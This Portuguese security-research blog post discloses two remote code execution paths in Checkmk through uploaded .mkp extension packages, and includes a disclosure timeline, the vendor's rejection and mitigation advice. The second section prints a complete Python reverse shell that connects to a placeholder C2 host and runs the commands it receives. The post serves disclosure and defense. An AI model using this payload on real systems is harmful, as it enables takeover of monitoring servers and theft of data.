RCE via Pacotes MKP no Checkmk – Execução Remota de Comandos via Interface Web

Escrito por  Lucas "luriel" Carmo, Lucas Katashi Cruz

Resumo

Nesta pesquisa conduzida por mim, e pelo Lucas Katashi, identificamos duas vulnerabilidades críticas no Checkmk Enterprise Edition 2.4.0p2, que permitem a execução remota de comandos (RCE) através da funcionalidade de extensão por pacotes .mkp. A exploração exige apenas acesso administrativo à interface web do Checkmk e resulta na execução automática de código Python ao visitar qualquer página que carregue os diretórios de plugin afetados.

Mesmo após contato com o vendor, a vulnerabilidade foi negada, apesar de evidências claras de que o comportamento de autoload sem validação representa risco real. Como forma de transparência e responsabilidade com a comunidade, estamos realizando esta publicação, respeitando os princípios de responsible disclosure.

A vulnerabilidade

As duas falhas exploram a ausência de validação no processo de carregamento automático de extensões .mkp enviadas via interface gráfica. O Checkmk, ao ativar um pacote que contenha scripts Python nos diretórios web/plugins/views/ ou web/plugins/pages/, executa automaticamente o código sem qualquer etapa de revisão, sandboxing ou confirmação.

Essa lógica oferece uma superfície crítica para ataques, permitindo que qualquer admin autenticado ative payloads maliciosos com facilidade.

Impacto

É importante destacar que, em ambientes corporativos, o risco dessa falha não está restrito ao escopo de um ataque isolado. Muitas vezes, usuários com privilégios administrativos obtêm acesso a partir de credenciais expostas em repositórios internos, backups mal configurados ou ferramentas de automação. Em um cenário realista, o atacante pode encadear a exposição de credenciais com a exploração dessas vulnerabilidades de RCE para comprometer completamente o servidor de monitoramento, alterando configurações, coletando métricas sensíveis e escalando privilégios lateralmente dentro do ambiente da organização. A simplicidade da execução e a abrangência do impacto tornam esse vetor especialmente perigoso para empresas que utilizam o Checkmk em ambientes de produção.

Resultando em:

  • Execução remota de comandos com o mesmo privilégio do usuário do site OMD.
  • Possível persistência no sistema.
  • Escalada lateral dentro da infraestrutura.
  • Exfiltração de dados sensíveis e movimentação lateral.

Para dimensionar melhor o impacto dessa vulnerabilidade, realizamos uma busca rápida no FOFA por instâncias do Checkmk expostas na internet. Como mostrado na imagem abaixo, foram encontrados mais de 30 mil resultados, sendo mais de 28 mil IPs únicos respondendo, muitos deles hospedados em ambientes corporativos na Alemanha, Reino Unido, França e Estados Unidos.

Essa superfície de ataque massiva reforça a gravidade do problema: um único acesso administrativo comprometido pode ser explorado para execução remota de comandos em milhares de sistemas, principalmente quando o acesso à interface de extensões não é rigidamente controlado.

Total results of FOFA

Essa falha afeta diretamente a confiança no supply chain interno do Checkmk. Permitir que qualquer pacote ativo possa executar código arbitrário sem validação compromete a integridade do ambiente de monitoramento como um todo especialmente em empresas que utilizam extensões de terceiros ou scripts compartilhados.

Detalhamento Técnico

Ambas as vulnerabilidades exploram a mesma funcionalidade central do Checkmk: o mecanismo de autoload de extensões .mkp mas por caminhos diferentes: uma pela pasta web/plugins/views/ e outra por web/plugins/pages/. Essa diferenciação revela que o problema não está apenas em um diretório específico, mas sim no comportamento subjacente da aplicação, que carrega e executa automaticamente qualquer código Python incluído em extensões, sem validar a origem ou o conteúdo.

Primeira Vulnerabilidade – RCE via web/plugins/views/

Nesta primeira vulnerabilidade, optamos por utilizar a funcionalidade nativa mkp package diretamente no servidor para gerar o pacote .mkp. Já na segunda vulnerabilidade, apresentamos uma abordagem alternativa com a ferramenta tar, justamente para ilustrar que a criação de extensões maliciosas pode ser feita de diferentes formas inclusive em contextos onde o utilitário oficial do Checkmk não esteja disponível. Essa decisão foi intencional, buscando abranger cenários variados e oferecer opções práticas para análise, reprodução ou mitigação por parte dos leitores.

  1. Criação da estrutura do MKP:
Figure 1 - Creating the required directory structure for the malicious MKP package under ~/hakai_plugin/web/plugins/views before adding the Python payload.
  1. Payload malicioso (hakai_exec_on_load.py):
Figure 2 - Writing the reverse shell payload (hakai_exec_on_load.py) which will be executed automatically when the plugin is loaded by the Checkmk GUI.
  1. Arquivo Manifest:
Figure 4 - Listing and verifying the malicious plugin file, then setting the executable permission using chmod to ensure the payload can be executed by the system upon GUI autoload.
  1. Empacotamento e envio:
Figure 5 - Copying the reverse shell payload to the Checkmk autoload path and packaging the MKP using the mkp package command, finalizing the malicious extension for web-based code execution.
Figure 6 - Copying the reverse shell payload to the Checkmk autoload path and packaging the MKP using the mkp package command, finalizing the malicious extension for web-based code execution.
Figure 7 - Copying the reverse shell payload to the Checkmk autoload path and packaging the MKP using the mkp package command, finalizing the malicious extension for web-based code execution.

O pacote .mkp foi então carregado via interface web em:
Setup > Maintenance > Extension Packages > Upload Package.

Figure 8 - Uploading the malicious HakaiMonitor-1.0.0.mkp package via the Checkmk web interface through the Extension packages section, simulating the attack flow using only the GUI without CLI access.

Ao clicar em “Enable this package”, a reverse shell foi iniciada automaticamente.

Figure 9 - Successful exploitation confirmed. The attacker receives a reverse shell from the target Checkmk server with the privileges of the monitoring user, demonstrating the full impact of the vulnerability.

Segunda Vulnerabilidade – RCE via web/plugins/pages/

1. Estrutura do Pacote Malicioso (.mkp)

.
├── info
├── info.json
└── plugins
    └── pages
        └── rce.py

2. Código do Payload Python com Reverse Shell (rce.py)

import socket, subprocess, threading

def shell():
    try:
        s = socket.socket()
        s.connect(("C2-SERVER-IP", 1337))
        while True:
            cmd = s.recv(1024).decode()
            if not cmd: break
            result = subprocess.getoutput(cmd)
            s.send((result + "\n").encode())
    except: pass

threading.Thread(target=shell, daemon=True).start()

3. Metadados do Pacote – Conteúdo do Arquivo (info)

Figure 10 - Contents of the info file

4. Arquivo Manifest do Pacote – (info.json)

Figure 11 - Contents of the info.json file

5. Arquivo com conteúdo utilizado para engatilhar a execução de código (rce.py)

Figure 12 - Contents of Python Reverse Shell 1
Figure 13 - Contents Python Reverse Shell 2

6. Criação dos arquivos web.tar e rce_exploit-1.0.0.mkp

Figure 15 - Process of creating the web.tar and rce_exploit-1.0.0.mkp files

7. Enviando o pacote malicioso que geramos

Figure 15 - Upload page

8. Ativando o pacote

Figure 16 - Upload page

9. Após ativar a extensão via GUI, bastava recarregar qualquer página do sistema para que a conexão reversa fosse iniciada.

Figure 17 - Reverse Shell

Timeline de Disclosure

  • 20/04/2025 – Vulnerabilidade descoberta pela equipe Hakai Security
  • 26/04/2025 – Report enviada ao time do Checkmk
  • 20/05/2025 – Vendor responde afirmando que não considera um problema de segurança
  • 02/07/2025 – Publicação oficial no blog da Hakai como parte de responsible disclosure

Como parte do processo de disclosure, recebemos uma resposta oficial do fornecedor confirmando que, apesar dos riscos apresentados, o comportamento identificado não foi considerado uma falha de segurança. Abaixo, segue um trecho da comunicação recebida:

Note: During this process, we provided working proof-of-concept code and detailed technical analysis for reproduction. The vendor’s decision to dismiss the issue was final.

Nota: Durante o processo, oferecemos provas de conceito, código e análise técnica detalhada para reprodução. A decisão de negar a falha foi do vendor.

Casos semelhantes em outras soluções

Um caso análogo pode ser observado na CVE-2024-22116, que afeta o Zabbix. Nessa vulnerabilidade, o sistema permitia a execução remota de comandos por meio de um recurso legítimo chamado ping script parameters, sem qualquer validação adequada. Assim como no caso que identificamos no Checkmk, o comportamento foi inicialmente tratado como “esperado” pelo fornecedor, mesmo representando um risco crítico de execução arbitrária dentro do ambiente de monitoramento.

Esse tipo de falha evidencia um padrão recorrente: permitir que código fornecido por administradores mesmo por meios “oficiais” ou documentados seja executado automaticamente, sem revisão, sandboxing ou validações mínimas, configura uma superfície de ataque altamente sensível.

As provas de conceito apresentadas neste artigo demonstram, de forma objetiva, como esse modelo de confiança implícita pode ser abusado para alcançar execução remota de comandos com facilidade principalmente em ambientes corporativos, onde o uso de extensões, plugins ou scripts personalizados é comum.

Esse cenário reforça a urgência de se adotar mecanismos robustos de validação de código, políticas de isolamento e workflows de aprovação antes da ativação de qualquer extensão .mkp via interface administrativa.

Recomendação

Como o comportamento foi considerado “esperado” pelos desenvolvedores e ainda não há nenhuma correção implementada no código-fonte, é importante que administradores que utilizam o Checkmk tomem algumas medidas paliativas para mitigar o risco principalmente em ambientes corporativos.

Aqui vão algumas recomendações práticas que podem ajudar:

  • Evite instalar pacotes .mkp sem revisão prévia.
    Antes de ativar qualquer extensão, extraia o conteúdo e verifique manualmente se há scripts Python nos diretórios web/plugins/views/ ou web/plugins/pages/. Esse é justamente o vetor usado nos nossos testes.
  • Restrinja o uso da interface de extensões.
    Se possível, limite o acesso ao menu Setup > Maintenance > Extension Packages apenas a usuários extremamente confiáveis. Se sua empresa utiliza proxy reverso, também é possível bloquear essa rota da GUI ou impor autenticação adicional só para essa funcionalidade.
  • Implemente regras de rede para conter conexões suspeitas.
    A maioria dos payloads de RCE, como reverse shells, depende de conexões de saída. Criar regras de firewall que bloqueiem conexões do Checkmk para IPs externos em portas atípicas pode ajudar a conter explorações bem-sucedidas.
  • Audite permissões administrativas.
    É um ponto óbvio, mas muitas vezes negligenciado: revise quem realmente precisa ter perfil de administrador dentro do Checkmk. Reduzir a superfície de privilégio já ajuda bastante.

Essas ações não substituem uma correção definitiva, mas podem fazer toda a diferença na prática especialmente se sua instância está exposta ou compartilhada com múltiplos administradores.

Conclusão

Apesar da negativa do fornecedor, acreditamos que a divulgação responsável é essencial para a evolução da segurança de software corporativo. Esta publicação tem como objetivo alertar a comunidade técnica sobre falhas de design em extensões .mkp e reforçar a importância de validações apropriadas em sistemas de monitoramento.

Agradecemos a todos que apoiam a pesquisa independente e o avanço contínuo da segurança da informação.

Relacionados

Who Scans the Scanner? Exploiting Trend Micro Mobile Security

Escrito por  Lucas "luriel" Carmo

Por trás da falha: Erro de Lógica no Parser de Sessão do Roundcube [CVE-2025-49113]

Escrito por  Murilo

Malicious MSI – Tornando o MSI em uma arma

Escrito por  Rafael Santana
Logo da Hakai.